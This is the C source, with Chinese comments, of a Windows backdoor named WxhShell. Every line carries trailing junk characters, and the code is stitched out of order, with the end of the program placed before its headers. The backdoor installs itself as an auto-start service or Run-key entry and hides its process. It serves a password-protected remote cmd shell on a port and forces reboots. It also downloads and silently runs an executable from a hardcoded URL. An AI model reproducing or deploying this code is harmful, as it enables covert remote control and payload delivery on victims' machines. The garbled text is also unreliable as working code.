    send(wsh,msg_ws_err,strlen(msg_ws_err),0); "pDU v^ie  
    else { ?6_]^:s  
    closesocket(wsh); YhH3fVM  
    ExitThread(0); zbFy3-RP  
    } E3'I;  
    break; Pn9".  
    } Vo"G@W)lZ  
  // 获取shell v`oilsrc  
  case 's': { bD,21,*z  
    CmdShell(wsh); v\w*VCjoV  
    closesocket(wsh); xdO3koE:  
    ExitThread(0); 7g*!6-W[  
    break; q?LOtN? o  
  } &0T.o,&y  
  // 退出 x@Gg fH<l  
  case 'x': { M5 VW1Ns  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ^KbR@Ah  
    CloseIt(wsh); Vs"b  
    break; P.YT/  
    } ZRjM^ d;  
  // 离开 x;W!sO@$  
  case 'q': { ,[ 2N3iH  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 7FH-l(W  
    closesocket(wsh); Sd6O?&(  
    WSACleanup(); 7Q!ksp  
    exit(1); [7><^?t V  
    break; diXWm-ZKL  
        } #f(a,,Uu'  
  } .M:&Aj)x16  
  }  (7X  
QI[WXx p  
  // 提示信息 |r+ x/,2-  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); &~eCDlX /  
} ~;oXLCL0})  
  } SXsszb:_  
B}04E^  
  return; ILCh1=?{9r  
} N@PuC>  
w#1BHx  
// shell模块句柄 4 6v C/  
int CmdShell(SOCKET sock) ">7xSWR*4  
{ LHtO|Utn(  
STARTUPINFO si; ddL3wQ  
ZeroMemory(&si,sizeof(si)); -|'@ :cIZ  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; -Jd7  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Z+V%~C1  
PROCESS_INFORMATION ProcessInfo; W)1nc"WqY  
char cmdline[]="cmd"; H^Pq[3NQ  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); JX'}+.\  
  return 0; i3 XtrP""  
} e_!h>=$%8  
Jm , :6T  
// 自身启动模式 FTUfJIVN(  
int StartFromService(void) t!wbT79/  
{ pOK=o$1V8  
typedef struct X(Af`KOg[  
{ 6Zpa[,gm  
  DWORD ExitStatus; ot7f?tF2<J  
  DWORD PebBaseAddress; to13&#o  
  DWORD AffinityMask; !9gpuS[  
  DWORD BasePriority; D*@'%<?  
  ULONG UniqueProcessId; %x#S?GMV<  
  ULONG InheritedFromUniqueProcessId; SkV pZh  
}   PROCESS_BASIC_INFORMATION; vgc~%k62c  
Yjo$vQi  
PROCNTQSIP NtQueryInformationProcess; Q=!QCDO(  
tV4yBe<``  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; dZ" }wKbO  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 1]>JMh%X9t  
_9D]1f=&  
  HANDLE             hProcess; e3n^$'/\r  
  PROCESS_BASIC_INFORMATION pbi; &LM@xt4"^[  
\ MuKS4  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); #HL$`&m  
  if(NULL == hInst ) return 0; 0qR#o/~I  
W+u@UJi  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); +;!^aNJ,  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); eAO@B  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); G>^= Bm_$  
q h bagw~  
  if (!NtQueryInformationProcess) return 0; .\H-?6R^  
C=;}7g  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); w*'DlP<7  
  if(!hProcess) return 0; /E/6(c  
6&+dpr&c~=  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ^Zs ^  
=l2 @'YQ  
  CloseHandle(hProcess); W\Il@Je;  
9Cd=^Im5  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Qv,ORm h5  
if(hProcess==NULL) return 0; E>@]"O)=M,  
tM@%EO  
HMODULE hMod; KdiJ'K.  
char procName[255]; E5gt_,j>  
unsigned long cbNeeded; "/O07l1Q<  
{uwPP2YD,  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); K4Ed]hX  
e]1) _;b*  
  CloseHandle(hProcess); \B 8j9  
W SvhC  
if(strstr(procName,"services")) return 1; // 以服务启动 aIT0t0.  
v3~`1MM  
  return 0; // 注册表启动 r *N@%T  
} 6I~M8Lo ;  
NWwKp?  
// 主模块 ^Gbcs l~Gj  
int StartWxhshell(LPSTR lpCmdLine) 9XUYy2{G  
{ Fbotn(\h@  
  SOCKET wsl; %N\45nYU:  
BOOL val=TRUE; !*^+7M  
  int port=0; ;|=5)KE  
  struct sockaddr_in door; O&CY9 2)Lk  
REc90v2"  
  if(wscfg.ws_autoins) Install(); Aa-OMo;~  
/5 KY6XxR  
port=atoi(lpCmdLine); oeVI 6-_S  
0<-A2O),  
if(port<=0) port=wscfg.ws_port; |p/[sD+M  
$XyDw|z[  
  WSADATA data; %7[d5[U~ZA  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; !K.)Qr9V  
@B)5Ho  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   v*y,PY1*  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 6X2w)cO  
  door.sin_family = AF_INET; 9;gy38.3  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 5[6{o$I  
  door.sin_port = htons(port); 4M$"0}O;[h  
 ^~B#r#  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { WYvcN8F  
closesocket(wsl); L.9@rwfI  
return 1; \V j7%ph  
} nKwOSGPQt  
?MRT  
  if(listen(wsl,2) == INVALID_SOCKET) { Y qKQm+G  
closesocket(wsl); !y1qd  
return 1; Ux);~P`/o  
} ZjK'gu8*  
  Wxhshell(wsl); u~t%GIg  
  WSACleanup(); [*vR&4mk  
|Ntretz`\  
return 0; !':y8(Ou  
Q >h7H{c  
} 0 4ceDe  
wVv@   
// 以NT服务方式启动 R-Tf9?)  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) TY+Rol;!  
{ sEb*GF*.V  
DWORD   status = 0; x;&iLQZh  
  DWORD   specificError = 0xfffffff; ]o9^?iU]  
Q:b>1  
  serviceStatus.dwServiceType     = SERVICE_WIN32; _P_R`A)"  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Re;[S[D7  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; (^|vN ;  
  serviceStatus.dwWin32ExitCode     = 0; W1}d6Sbg  
  serviceStatus.dwServiceSpecificExitCode = 0; =b3<}]  
  serviceStatus.dwCheckPoint       = 0; -!j5j:RR  
  serviceStatus.dwWaitHint       = 0; ,PWMl [X  
0VgsV;  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler);  *% ]&5  
  if (hServiceStatusHandle==0) return; w`Cs,  
jjoyMg95  
status = GetLastError(); =, U~  
  if (status!=NO_ERROR) Cj)*JZV G  
{ -C* UB  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; .A6Jj4`-  
    serviceStatus.dwCheckPoint       = 0; |3EKK:RE  
    serviceStatus.dwWaitHint       = 0; uw&p)  
    serviceStatus.dwWin32ExitCode     = status; gr >>]C$  
    serviceStatus.dwServiceSpecificExitCode = specificError; C%P"\>5@  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); )k 6z  
    return; r[nvgzv@  
  } O3L:v{Kn  
];{CNDAL2  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; > 8!9  
  serviceStatus.dwCheckPoint       = 0; a [BIY&/Q  
  serviceStatus.dwWaitHint       = 0; V?C a[  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); %vWh1-   
} #"JtH"pF  
!y;xt?  
// 处理NT服务事件,比如:启动、停止 vcp[$-$QGJ  
VOID WINAPI NTServiceHandler(DWORD fdwControl) KFHcHz  
{ l !R >I7  
switch(fdwControl) 78zwu<ET  
{ D89 (u.h  
case SERVICE_CONTROL_STOP: I|P#|0< 2  
  serviceStatus.dwWin32ExitCode = 0; ;0 9~#Wop  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Q$S|LC  
  serviceStatus.dwCheckPoint   = 0; D14i]  
  serviceStatus.dwWaitHint     = 0; D0p>Q^w  
  { -H](2}  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); FHyyZ{"  
  } :W}M$5|  
  return; X|pOw,"  
case SERVICE_CONTROL_PAUSE: tc<HA7vpt~  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; )cRP6 =  
  break; 1NU@k6UHl  
case SERVICE_CONTROL_CONTINUE: }ILg_>uq[  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; $s9YU"  
  break; :}~B;s0M\  
case SERVICE_CONTROL_INTERROGATE: [G}l;  
  break; Z'\{hL S  
}; |s[k= /~"  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); UV)!zgP  
} iy,jq5uw  
j !rQa^   
// 标准应用程序主函数 ":Ll. =!  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) kKNrCv@64d  
{ 6tT*b@/_o  
CDDOm8  
// 获取操作系统版本 l%xjCuuhU  
OsIsNt=GetOsVer(); gY!#=?/S  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ,gbQqoLV  
#s]`jdc  
  // 从命令行安装 H.s:a#l?  
  if(strpbrk(lpCmdLine,"iI")) Install(); W"H*Ad(V  
,mvU`>Ry  
  // 下载执行文件 s% (|z  
if(wscfg.ws_downexe) { N:e5=;6s  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 5| bc*iqU  
  WinExec(wscfg.ws_filenam,SW_HIDE); Q$=X ?{  
} H1kxY]_/  
{-e|x&-  
if(!OsIsNt) { 3q$"`w  
// 如果时win9x,隐藏进程并且设置为注册表启动 ]=T-C v=t  
HideProc(); A{KF<Omu  
StartWxhshell(lpCmdLine); &-M}:'  
} UN Kr FYl  
else /UPe@  
  if(StartFromService()) YhFd0A?]  
  // 以服务方式启动 }SBpc{ch  
  StartServiceCtrlDispatcher(DispatchTable); ^@n?&  
else o" e]9{+<  
  // 普通方式启动 x`gsD3C  
  StartWxhshell(lpCmdLine); 4^AdSuV  
xa|/P#q  
return 0; ?LA` v_  
} jun$C Y4  
+OX:T) 4h6  
z!:%Hbh=  
L{AfrgN  
=========================================== _';oT*#  
Zdll}nO"E  
-_"6jU  
:]k`;;vh  
$"6O92G(hJ  
U8R*i7  
" OykYXFv*  
^+'\ u;\  
#include <stdio.h> B@v"giJgr  
#include <string.h> ,5HC &@  
#include <windows.h> 1wM~),B8  
#include <winsock2.h> q, XRb  
#include <winsvc.h> ;-!j,V+$h  
#include <urlmon.h> I<^&~==  
zTvGku[3  
#pragma comment (lib, "Ws2_32.lib") 7c aV-8:  
#pragma comment (lib, "urlmon.lib") ntt:>j$  
gj-MkeI)  
#define MAX_USER   100 // 最大客户端连接数 sAfNu~d  
#define BUF_SOCK   200 // sock buffer "YePd * W  
#define KEY_BUFF   255 // 输入 buffer ^OnZ9?C{R  
&3%V%_  
#define REBOOT     0   // 重启 MY" 8!  
#define SHUTDOWN   1   // 关机 JUlCj #%  
LP- _i}Kq  
#define DEF_PORT   5000 // 监听端口 Bi$nYV)-l  
G[M{TS3&Ds  
#define REG_LEN     16   // 注册表键长度 2 rx``,7Q  
#define SVC_LEN     80   // NT服务名长度 Rx%SeM2  
;<)<4N"  
// 从dll定义API )$7-CNWr~  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Emx`+9  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); KBkS>0;X  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Cqc5jx0)  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 0mD=Rjb*a  
\zGmZZ  
// wxhshell配置信息 q}0xQjpo  
struct WSCFG { K \_JG $(9  
  int ws_port;         // 监听端口 lD\vq2  
  char ws_passstr[REG_LEN]; // 口令 ^L"ENsOs  
  int ws_autoins;       // 安装标记, 1=yes 0=no =UMqa;\K  
  char ws_regname[REG_LEN]; // 注册表键名 0s'H(qE,_  
  char ws_svcname[REG_LEN]; // 服务名 o/5loV3h  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 1&Ruz[F5  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 7\nR'MOZ  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Tq*K =^  
int ws_downexe;       // 下载执行标记, 1=yes 0=no o"-*,:Qe  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" pZaOd;t  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 nb,+!)+  
~s4o1^6L  
}; :#&Y  
;>Q.r{P  
// default Wxhshell configuration T.x"a$AU  
struct WSCFG wscfg={DEF_PORT, HHcWyu  
    "xuhuanlingzhe", oQ"J>`',  
    1, ~|5B   
    "Wxhshell", #<EMG|&(  
    "Wxhshell", >0Gdxj]\  
            "WxhShell Service", =!{ E!3>*D  
    "Wrsky Windows CmdShell Service", ;'~GuZ#I  
    "Please Input Your Password: ", 9E-]S'Z  
  1, r ; pS_PV  
  "http://www.wrsky.com/wxhshell.exe", [OK(  
  "Wxhshell.exe" J.^%VnrFO9  
    }; VYC$Q;Z  
@^UnrKSd  
// 消息定义模块 l11+sqg  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; $>=?'wr  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 1}Mdo&:t  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; fA{t\  
char *msg_ws_ext="\n\rExit."; .tH[A[/1 a  
char *msg_ws_end="\n\rQuit."; . \:{6_  
char *msg_ws_boot="\n\rReboot..."; B(B77SOb  
char *msg_ws_poff="\n\rShutdown..."; .qGfLvx%  
char *msg_ws_down="\n\rSave to "; jNu`umS  
Lx#CFrLQ*  
char *msg_ws_err="\n\rErr!"; .R5(k'g?  
char *msg_ws_ok="\n\rOK!"; LOX}  
KKJ)BG?qZ  
char ExeFile[MAX_PATH]; ?f'iS#XL  
int nUser = 0;  mX&!/U  
HANDLE handles[MAX_USER]; vS'l@`Eg]  
int OsIsNt; t`oH7)nut  
q@0g KC&U  
SERVICE_STATUS       serviceStatus; (>a8h~Na  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; !bg2(2z  
|fhYft  
// 函数声明 .qAlPe L:  
int Install(void); $G}!eV 6  
int Uninstall(void); d:SLyFD$q  
int DownloadFile(char *sURL, SOCKET wsh); D,sb {N  
int Boot(int flag); k^C^.[?  
void HideProc(void); VS ?npH  
int GetOsVer(void); z(g6$Y{  
int Wxhshell(SOCKET wsl); uXkc07 r'  
void TalkWithClient(void *cs); F\IJim-Rh  
int CmdShell(SOCKET sock); hF;TX.Y6  
int StartFromService(void); 49d02AU%  
int StartWxhshell(LPSTR lpCmdLine); Tw0GG8(c  
U1;<NUg  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 3Eu;_u_  
VOID WINAPI NTServiceHandler( DWORD fdwControl );  8PXjdHR  
3]cW08"c  
// 数据结构和表定义 OuuN~yC  
SERVICE_TABLE_ENTRY DispatchTable[] = #[$zbZ(I>:  
{ q88;{?T1  
{wscfg.ws_svcname, NTServiceMain}, TQ&1!~L*  
{NULL, NULL} '%y5Dh  
}; Q$lgC v^M  
<7 R+p;y  
// 自我安装 ayK?\srw  
int Install(void) q\]"}M 8  
{ !)-)*T  
  char svExeFile[MAX_PATH]; g;mX{p_@  
  HKEY key; A8oTcX_  
  strcpy(svExeFile,ExeFile); o<Y[GW1pg  
:HW\awv  
// 如果是win9x系统,修改注册表设为自启动 PPMAj@B}V  
if(!OsIsNt) { Wkj0z ]]?  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { &8xwR   
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));  3<R8_p  
  RegCloseKey(key); lGZf_X)gA^  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { V(c>1xLlz  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); =%Z5"];  
  RegCloseKey(key); A\:u5(  
  return 0; |zCT~#  
    } .4O~a  
  } r~q 3nIe/,  
} ^sqTgrG  
else { %ZbdWHO#  
%|AXVv7IN>  
// 如果是NT以上系统,安装为系统服务 VV$4NV&`Q  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); EV.F/W h  
if (schSCManager!=0) zz* *HwRt  
{ [ @ASAhV^+  
  SC_HANDLE schService = CreateService Sk7sxy<F'  
  ( /C\tJs  
  schSCManager, |9Pi*)E  
  wscfg.ws_svcname, ;6AanwR6  
  wscfg.ws_svcdisp, sEzl4I  
  SERVICE_ALL_ACCESS, Fz.Ij'8.H  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Da-U@e!  
  SERVICE_AUTO_START, V ah&)&n  
  SERVICE_ERROR_NORMAL, R8bKE(*rxj  
  svExeFile, 0i3Z7l]  
  NULL, {baG2Fe1`b  
  NULL, ,`,1s 9\&t  
  NULL, NE5H\  
  NULL, Z66h  
  NULL cyTBp58  
  ); cJLAP%.L  
  if (schService!=0) s8V:;$ !  
  { aExt TE  
  CloseServiceHandle(schService); u ?7^+z  
  CloseServiceHandle(schSCManager); G<M9 6V  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); u8r<B4k  
  strcat(svExeFile,wscfg.ws_svcname); B]#^&89wG)  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { F_d>@-<  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); WG]`Sy  
  RegCloseKey(key); q{CD:I:-  
  return 0; U uEm{  
    } Dt:NBN  
  } Iq@&?,W  
  CloseServiceHandle(schSCManager); Z_Y' 3'^Tw  
} 51gSbkVX  
} LMHii Os,  
~+S,`8-P  
return 1; DI0Wk^m  
} a&Z;$  
K,5_{pj  
// 自我卸载 ^I:f4RWo  
int Uninstall(void) ~A03J:Yc7  
{ /{>_'0  
  HKEY key; u9u'!hAGH  
V>(>wSR  
if(!OsIsNt) { WX4 f3Um  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { vI \8@97  
  RegDeleteValue(key,wscfg.ws_regname); Av>xgfX  
  RegCloseKey(key); au#/Q  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { wK!7mZ  
  RegDeleteValue(key,wscfg.ws_regname); h!J|4Q a  
  RegCloseKey(key); Ejt?B')aB5  
  return 0; g&r3 ;  
  } K^e4w`F|  
} ~FnuO!C  
} $EG9V++b3  
else { 9_x rw:4  
e7r3o,!  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 9c{T|+ ]  
if (schSCManager!=0) 5;@2SY7 ,  
{ js;k,`  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);  N<~LgH  
  if (schService!=0) 6%Pvh- ~_  
  { kgP6'`}E[  
  if(DeleteService(schService)!=0) { Y?AvcY.  
  CloseServiceHandle(schService); \ 0/m$V.  
  CloseServiceHandle(schSCManager); 3?Fe( !@  
  return 0; -unQ 4G  
  }  %m##i  
  CloseServiceHandle(schService); cJ#n<Rsz  
  } *r)dtI*  
  CloseServiceHandle(schSCManager); I{i6e'.jP  
} }poLH S/  
} 5}TTf2&Xo#  
"Pl.G[Buc-  
return 1; U;#G $  
} s\e b  
%?Q<  
// 从指定url下载文件 HdRwDW@7=  
int DownloadFile(char *sURL, SOCKET wsh) #xh M&X  
{ cb }OjM F  
  HRESULT hr; A [_T~+-G  
char seps[]= "/"; xg;vQKS6  
char *token; ;sAe#b  
char *file; V3<#_:;  
char myURL[MAX_PATH]; 8&SW Q  
char myFILE[MAX_PATH]; L cTTfb+<  
h{: ]'/@~  
strcpy(myURL,sURL); L),r\#Y(v  
  token=strtok(myURL,seps); {wD:!\5  
  while(token!=NULL) e"|ZTg+U  
  { i,2eoM)FB  
    file=token; 3LZvlcLb  
  token=strtok(NULL,seps); #giH`|#d  
  } pP%9MSCi  
<07]w$m/  
GetCurrentDirectory(MAX_PATH,myFILE); Mtc  -  
strcat(myFILE, "\\"); ]fSpG\yU  
strcat(myFILE, file); e_}tK1XY  
  send(wsh,myFILE,strlen(myFILE),0); |3BxNFe`%  
send(wsh,"...",3,0); xAr&sGMA  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); )JhB!P(  
  if(hr==S_OK) R-tZC9 @  
return 0; y1B' _s  
else S@Aw1i p  
return 1; Z|xgZG{  
kAs=5_?I  
} "gt1pf~y  
_6 @GT  
// 系统电源模块 ]U&<y8Q_6  
int Boot(int flag) ~Rw][Ys  
{ k\Y*tY#2  
  HANDLE hToken; "sT)<Wc  
  TOKEN_PRIVILEGES tkp; {a ]u  
O7m-_#/\   
  if(OsIsNt) { EFv^uve  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); y"k %Wa`*  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); yIg^iZD  
    tkp.PrivilegeCount = 1; G +AP."M?  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; :mhO/Bx  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); N]-skz<v  
if(flag==REBOOT) { >z7 3uKA(  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) R&Ss ET.  
  return 0; <{i1/"k?X  
} Js^(mRv=  
else { Zr(eH2}0D  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) =t %;mi,M  
  return 0; Ii!{\p!  
} JAy-N bb\  
  } o .V JnrJ  
  else { n. vrq-  
if(flag==REBOOT) { :3{n(~  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) F`1J&S;C  
  return 0; 39L_O RMH  
} o5:md :\  
else { @|{8/s Oq  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) S0ltj8t  
  return 0; :KqSMuKR  
} Jp= )L  
} 7>h(M+ /  
Ii<k<Bt,  
return 1; ~V0 GRPnI  
} q2s=>J';  
YF>1 5{H  
// win9x进程隐藏模块 #kE8EhQZ  
void HideProc(void) Gd$!xN %O  
{ /x<uv_"  
F$i 6  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 39I|.B"  
  if ( hKernel != NULL ) < <F  
  { p_vl dTIW  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); >">Xd@Wk  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 8#[2]1X^8  
    FreeLibrary(hKernel); v]rbm}uU9  
  } /PbMt  
7}e5ac  
return; 5Pf)&iG  
} % bKy  
dKhS;!K9p  
// 获取操作系统版本 4q.yp0E  
int GetOsVer(void) 5F!i%{XQvm  
{ eZD"!AT  
  OSVERSIONINFO winfo; }2S)CL=  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); {R"mvB`  
  GetVersionEx(&winfo); {`-AIlH(  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Hp5.F>-  
  return 1; -2'+GO7G  
  else "H=N>=g0E  
  return 0; ^XG$?2<U  
} E!uQ>'iq.  
D&i, `j  
// 客户端句柄模块 U.h2 (-p  
int Wxhshell(SOCKET wsl) =uEpeL~d;+  
{ nW<nOKTnk_  
  SOCKET wsh; bjI3xAs~  
  struct sockaddr_in client; &[SFl{fx>-  
  DWORD myID; \.>7w 1p  
*IIA"tC  
  while(nUser<MAX_USER) &%g$Bi,G  
{ #XG3{MGX[  
  int nSize=sizeof(client); R / ND f`  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); A~X\ dcn  
  if(wsh==INVALID_SOCKET) return 1; =yoR>llbBC  
(?TK P 7  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); /F46Ac}I  
if(handles[nUser]==0) <H{K&,Z(ZM  
  closesocket(wsh); lnK  
else A%x0'?GU  
  nUser++; FHEP/T\5  
  } 3177R>0  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); j-VwY/X  
apt$e$g  
  return 0; :X:s'I4J D  
} K;w2qc.+  
T8%!l40v  
// 关闭 socket /t! 5||G  
void CloseIt(SOCKET wsh) An^)K  
{ qM6hE.J   
closesocket(wsh); HXC\``E  
nUser--; [lVfhXc&  
ExitThread(0); i7cUp3  
} *e<}hm Dr  
Uq`6VpZ  
// 客户端请求句柄 _+ Sf+ta  
void TalkWithClient(void *cs) o^Lq8u;i*  
{ E " >`  
LbYIRX  
  SOCKET wsh=(SOCKET)cs; [9V}>kS)  
  char pwd[SVC_LEN]; B#+n$5#FK  
  char cmd[KEY_BUFF]; +-9-%O.(;  
char chr[1]; D u T6Od/f  
int i,j; nkTdn  
gsUF\4A(J  
  while (nUser < MAX_USER) { !YI<A\P  
o!U(=:*b  
if(wscfg.ws_passstr) { UFu0{rY_  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); u&[L!w  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 9 W|'~r  
  //ZeroMemory(pwd,KEY_BUFF); FP}I+Ys  
      i=0; o|q5eUh=EY  
  while(i<SVC_LEN) { @vXXf/  
ew~?&=  
  // 设置超时 b)M- q{  
  fd_set FdRead; B}.:7,/0  
  struct timeval TimeOut; nK)1.KVN  
  FD_ZERO(&FdRead); *|y$z+g/  
  FD_SET(wsh,&FdRead); ~j(vGO3JB  
  TimeOut.tv_sec=8; 87W!R<G  
  TimeOut.tv_usec=0; uqU&k@  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); yla- X|>  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); t_*x.{x-  
{QaO\{J=  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); e+F $fQt>  
  pwd=chr[0]; [\Nmm4  
  if(chr[0]==0xd || chr[0]==0xa) { 4]$OO'  
  pwd=0; K=E+QvSG  
  break; gat;Er  
  } VH<d[Mj  
  i++; r!O[|h  
    } !M`.(sO]  
kPiY|EH  
  // 如果是非法用户,关闭 socket mEu2@3^E }  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ]$ Nhy8-  
} i*$~uuY  
=wW M\f`=  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); |=0w_)Fa]  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); </@5>hx/  
x DN u'  
while(1) { 43-Bx`6\  
Bg[yn<) ]  
  ZeroMemory(cmd,KEY_BUFF); $Dx*[.M3>  
zi_$roq=)  
      // 自动支持客户端 telnet标准   z wRF-{s  
  j=0; 8 hhMuh  
  while(j<KEY_BUFF) { z5 @i"%f  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); _+nk3-yQw  
  cmd[j]=chr[0]; Tx]p4wY:D  
  if(chr[0]==0xa || chr[0]==0xd) { :uB?h1|  
  cmd[j]=0; b 9"t%R9/Q  
  break; UN F\k1[  
  } ^Ifm1$X}  
  j++; !Ur.b @ke  
    } BD;T>M  
cWZ uph\  
  // 下载文件 tm1&OY  
  if(strstr(cmd,"http://")) { u\= 05N6G  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Otx>S' 5  
  if(DownloadFile(cmd,wsh)) %'_:#!9  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;%(sbA  
  else HRrR"b9:  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); K3`!0(  
  } ^Y;,cLXJ  
  else { upk+L^  
FN<>L0  
    switch(cmd[0]) { /W-ges  
  S[yrGX8lu  
